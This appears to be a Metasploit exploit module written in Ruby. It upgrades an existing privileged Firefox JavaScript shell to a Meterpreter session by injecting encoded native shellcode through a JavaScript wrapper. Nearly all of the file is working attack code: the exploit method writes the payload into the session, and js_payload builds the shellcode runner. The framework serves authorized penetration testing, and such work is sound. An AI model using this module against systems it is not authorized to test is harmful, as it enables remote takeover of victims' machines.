##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/payload/firefox'

class Metasploit3 < Msf::Exploit::Local

  include Msf::Payload::Firefox

  def initialize(info={})
    super(update_info(info,
      'Name'          => 'Firefox Exec Shellcode from Privileged Javascript Shell',
      'Description'   => %q{
        Puts the specified payload into memory, adds the necessary protection flags,
        and calls it. Useful for upgrading a Firefox javascript shell to a Meterpreter
        session.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [ 'joev' ],
      'Platform'      => [ 'firefox' ],
      'Targets'       => [
        [ 
          'Native Payload', {
            'Platform' => %w{ linux osx win unix },
            'Arch'     => ARCH_ALL
          }
        ]
      ],
      'DefaultTarget' => 0
    ))

    register_options([
      OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90])
    ], self.class)
  end

  def exploit
    session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")
    results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
    print_warning(results) if results.present?
  end

  def js_payload
    js_string = Rex::Text.to_unescape(payload.encoded)
    %Q|
      (function(send){
        try {
          #{exec_shellcode_source}
          var sc  = "#{js_string}";
          execShellcode(unescape(sc));
          send("Payload executed.");
        } catch (e) {
          send(e);
        }
      })(send);
    |.strip
  end
end